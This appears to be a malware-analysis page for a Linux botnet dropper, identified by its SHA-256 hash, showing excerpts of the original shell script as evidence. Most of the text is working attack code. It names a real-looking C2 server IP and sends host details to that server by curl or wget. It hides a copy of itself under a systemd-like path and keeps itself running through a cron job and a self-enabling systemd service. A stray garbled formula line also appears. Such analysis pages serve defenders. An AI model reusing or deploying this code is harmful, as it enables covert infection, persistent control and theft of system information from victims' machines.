d7437869437f3b9508d4591b05d4ebfb04fbe54fcc15b3a1e9bc1a9f04cf6d41
C2 botnet dropper with persistence
Multi-fetch multi-arch payload dropperMulti-protocol payload dropper (wget/tftp/ftpget/curl)
SHA-256d7437869437f3b9508d4591b05d4ebfb04fbe54fcc15b3a1e9bc1a9f04cf6d41
MaleculeO₃(C₂SP₂)H₅(Cm₁₁CrF₆Os₈Po₂)
Evidence
⋯4 lines
5# ==============================================
6
7C2_SERVER="http://94.154.43.227:8080"
8BOT_ID=$(hostname)-$(whoami)-$(date +%s | sha256sum | head -c 8)
9WORK_DIR="/tmp/.system-update-$(date +%s | sha256sum | head -c 8)"
10CHECKIN_URL="${C2_SERVER}/checkin"
11INTERVAL=30
12
13mkdir -p "$WORK_DIR"
14cd "$WORK_DIR"
15
16# Détection de l'architecture
17detect_arch() {
18 case $(uname -m) in
19 x86_64|amd64) echo "x86_64" ;;
20 i386|i486|i586|i686) echo "i686" ;;
21 armv7l|armv7a|armhf) echo "armv7l" ;;
22 armv6l) echo "armv6l" ;;
23 armv5l|arm) echo "armv5l" ;;
24 aarch64|arm64) echo "aarch64" ;;
25 mips) echo "mips" ;;
26 mipsel) echo "mipsel" ;;
27 powerpc|ppc) echo "powerpc" ;;
28 sparc) echo "sparc" ;;
29 sh4) echo "sh4" ;;
30 m68k) echo "m68k" ;;
31 arc) echo "arc" ;;
32 *) echo "unknown" ;;
33 esac
⋯4 lines
38# CHECK-IN VERS LE C2
39check_in() {
40 local ip=$(curl -s --max-time 5 ifconfig.me 2>/dev/null || echo "unknown")
41 local info="{\"bot_id\":\"$BOT_ID\",\"hostname\":\"$(hostname)\",\"user\":\"$(whoami)\",\"arch\":\"$ARCH\",\"os\":\"$(uname -a)\",\"ip\":\"$ip\",\"timestamp\":\"$(date -Iseconds)\"}"
42
43 curl -s -X POST "$CHECKIN_URL" \
44 -H "Content-Type: application/json" \
45 -d "$info" \
46 --max-time 10 > /dev/null 2>&1 || \
47 wget -q --post-data="$info" \
48 --header="Content-Type: application/json" \
77:7… turn 1
78}
79
80# PERSISTANCE
81persistence() {
82 local script_path=$(realpath "$0")
83 local hidden_path="/usr/lib/systemd/systemd-update.sh"
84
85 cp "$script_path" "$hidden_path" 2>/dev/null
86 chmod +x "$hidden_path" 2>/dev/null
87
88 if command -v crontab &> /dev/null; then
89 (crontab -l 2>/dev/null; echo "*/5 * * * * $hidden_path >/dev/null 2>&1") | crontab - 2>/dev/null
90 fi
91
92 if [ -d "/etc/systemd/system" ]; then
93 cat > "/etc/systemd/system/cirqueira.service" 2>/dev/null << EOF
94[Unit]
95Description=Cirqueira Bot
96After=network.target
97
98[Service]
99Type=simple
100ExecStart=$hidden_path
101Restart=always
102RestartSec=60
103
104[Install]
105WantedBy=multi-user.target
106EOF
107 systemctl daemon-reload 2>/dev/null
108 systemctl enable cirqueira.service 2>/dev/null
109 systemctl start cirqueira.service 2>/dev/null
110 fi
⋯14 lines